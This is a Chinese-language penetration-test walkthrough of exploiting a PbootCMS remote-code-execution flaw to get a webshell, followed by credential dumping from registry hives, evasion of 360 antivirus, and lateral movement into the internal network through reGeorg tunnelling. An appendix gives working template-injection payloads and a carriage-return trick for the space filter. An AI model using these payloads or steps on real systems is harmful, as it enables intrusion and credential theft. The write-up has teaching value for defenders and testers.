实战Rce到玄学上线
字数 1410 2025-08-18 17:33:32

实战RCE到玄学上线 - 渗透测试教学文档

1. RCE漏洞利用

1.1 漏洞发现

  • 目标系统使用PbootCMS,通过信息收集发现其后台界面并确认版本
  • 搜索对应版本漏洞发现存在RCE漏洞

1.2 漏洞验证

  • 使用payload验证漏洞存在性:
    {pboot:if(phpinfo());}{/pboot:if}
    
  • 确认执行权限为SYSTEM级别

1.3 命令执行限制

  • 发现命令执行存在空格限制:
    • 可执行命令:ipconfigwhoami
    • 不可执行命令:net usernet%20user

1.4 绕过空格限制

  • 使用回车符替代空格来绕过限制

2. 获取Webshell

2.1 Webshell上传

  • 由于命令执行受限,选择上传PHP Webshell
  • 使用回车符绕过空格限制上传Webshell

2.2 环境分析

  • 发现系统存在360安全防护
  • Webshell权限为SYSTEM但仍无法终止360进程
  • Webshell环境下无法调用Powershell

3. 密码获取技术

3.1 传统工具尝试

  • 尝试上传Procdump、mimikatz、Pwdump均被360拦截

3.2 注册表导出方法

  1. 导出注册表:
    reg save HKLM\SYSTEM system.hiv
    reg save HKLM\SAM sam.hiv
    
  2. 本地使用mimikatz解析获取NTLM-hash

3.3 密码破解尝试

  • 系统启用了密码复杂度要求
  • 尝试破解NTLM-hash未成功

4. 用户添加技术

4.1 命令执行限制

  • 发现命令执行存在时间限制(上午可执行,下午不可执行)

4.2 冰蝎工具利用

  • 使用冰蝎虚拟终端成功添加用户
  • 注意:冰蝎的"命令执行"功能与菜刀一样受限

5. 内网探测技术

5.1 ARP表分析

  • 查看ARP缓存表获取内网通信主机信息:
    arp -a
    

5.2 内网扫描

  • 使用ping命令扫描内网网段:
    for /L %i in (1,1,254) do @ping -n 1 192.168.0.%i | find "TTL="
    

6. 内网穿透技术

6.1 reGeorg工具使用

  1. 上传reGeorg的PHP脚本到Web目录
  2. 服务器端执行:
    ./reGeorgSocksProxy.py -p [端口] -l [服务器IP] -u http://site/tunnel.nosocket.php
    

6.2 代理配置

  • 配置proxychains进行内网访问

7. 内网主机扫描

7.1 服务扫描

  • 使用nmap通过代理扫描内网主机:
    proxychains nmap -sT -Pn 192.168.0.66
    

7.2 服务测试

  • 测试SMB服务(尝试17-010漏洞)
  • 尝试爆破1433(SQL)、3389(RDP)端口
  • 尝试使用获取的NTLM-hash进行Hash碰撞攻击

8. 玄学上线技术

8.1 时间因素影响

  • 发现命令执行成功率与时间相关(晚上成功执行)

8.2 Powershell上线

  • 在Webshell中成功执行Powershell上线命令

8.3 密码抓取

  • 成功抓取到管理员密码(包含大小写字母、数字和特殊字符)

9. 防御规避技术

9.1 绕过360防护

  • 发现360对传统渗透工具拦截严格
  • 使用注册表导出等非传统方法规避检测

9.2 执行时间选择

  • 不同时间段执行成功率不同,选择合适时间进行操作

10. 经验总结

  1. RCE利用:CMS版本漏洞利用前需充分验证,注意执行环境限制
  2. 绕过技巧:使用特殊字符(如回车)替代空格可绕过部分限制
  3. 权限维持:当直接上线受阻时,多尝试不同方法(Webshell、添加用户等)
  4. 内网渗透:结合ARP表和主动扫描获取内网信息
  5. 工具选择:不同工具在不同环境下效果差异大(冰蝎虚拟终端优于命令执行)
  6. 时间因素:渗透测试结果可能受时间因素影响,需多次尝试
  7. 防御规避:传统工具被拦截时,考虑使用系统自带功能或非标准方法

附录:关键Payload

  1. PbootCMS RCE验证:

    {pboot:if(system('whoami'));}{/pboot:if}
    
  2. 带空格的命令执行尝试:

    {pboot:if(system('net user'));}{/pboot:if}
    
  3. 使用回车替代空格(示例):

    {pboot:if(system('net'."\r".'user'));}{/pboot:if}
    
实战RCE到玄学上线 - 渗透测试教学文档 1. RCE漏洞利用 1.1 漏洞发现 目标系统使用PbootCMS,通过信息收集发现其后台界面并确认版本 搜索对应版本漏洞发现存在RCE漏洞 1.2 漏洞验证 使用payload验证漏洞存在性: 确认执行权限为SYSTEM级别 1.3 命令执行限制 发现命令执行存在空格限制: 可执行命令: ipconfig 、 whoami 不可执行命令: net user 、 net%20user 1.4 绕过空格限制 使用回车符替代空格来绕过限制 2. 获取Webshell 2.1 Webshell上传 由于命令执行受限,选择上传PHP Webshell 使用回车符绕过空格限制上传Webshell 2.2 环境分析 发现系统存在360安全防护 Webshell权限为SYSTEM但仍无法终止360进程 Webshell环境下无法调用Powershell 3. 密码获取技术 3.1 传统工具尝试 尝试上传Procdump、mimikatz、Pwdump均被360拦截 3.2 注册表导出方法 导出注册表: 本地使用mimikatz解析获取NTLM-hash 3.3 密码破解尝试 系统启用了密码复杂度要求 尝试破解NTLM-hash未成功 4. 用户添加技术 4.1 命令执行限制 发现命令执行存在时间限制(上午可执行,下午不可执行) 4.2 冰蝎工具利用 使用冰蝎虚拟终端成功添加用户 注意:冰蝎的"命令执行"功能与菜刀一样受限 5. 内网探测技术 5.1 ARP表分析 查看ARP缓存表获取内网通信主机信息: 5.2 内网扫描 使用ping命令扫描内网网段: 6. 内网穿透技术 6.1 reGeorg工具使用 上传reGeorg的PHP脚本到Web目录 服务器端执行: 6.2 代理配置 配置proxychains进行内网访问 7. 内网主机扫描 7.1 服务扫描 使用nmap通过代理扫描内网主机: 7.2 服务测试 测试SMB服务(尝试17-010漏洞) 尝试爆破1433(SQL)、3389(RDP)端口 尝试使用获取的NTLM-hash进行Hash碰撞攻击 8. 玄学上线技术 8.1 时间因素影响 发现命令执行成功率与时间相关(晚上成功执行) 8.2 Powershell上线 在Webshell中成功执行Powershell上线命令 8.3 密码抓取 成功抓取到管理员密码(包含大小写字母、数字和特殊字符) 9. 防御规避技术 9.1 绕过360防护 发现360对传统渗透工具拦截严格 使用注册表导出等非传统方法规避检测 9.2 执行时间选择 不同时间段执行成功率不同,选择合适时间进行操作 10. 经验总结 RCE利用 :CMS版本漏洞利用前需充分验证,注意执行环境限制 绕过技巧 :使用特殊字符(如回车)替代空格可绕过部分限制 权限维持 :当直接上线受阻时,多尝试不同方法(Webshell、添加用户等) 内网渗透 :结合ARP表和主动扫描获取内网信息 工具选择 :不同工具在不同环境下效果差异大(冰蝎虚拟终端优于命令执行) 时间因素 :渗透测试结果可能受时间因素影响,需多次尝试 防御规避 :传统工具被拦截时,考虑使用系统自带功能或非标准方法 附录:关键Payload PbootCMS RCE验证: 带空格的命令执行尝试: 使用回车替代空格(示例):